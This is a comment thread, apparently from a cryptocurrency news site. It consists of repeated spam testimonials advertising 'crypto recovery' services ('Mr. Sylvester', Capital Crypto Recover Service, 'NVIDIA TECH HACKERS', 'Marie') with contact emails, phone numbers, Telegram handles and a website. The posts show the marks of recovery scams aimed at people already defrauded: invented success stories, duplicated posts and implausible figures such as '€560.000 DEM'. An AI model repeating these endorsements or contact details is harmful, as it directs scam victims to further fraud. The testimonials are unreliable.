    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon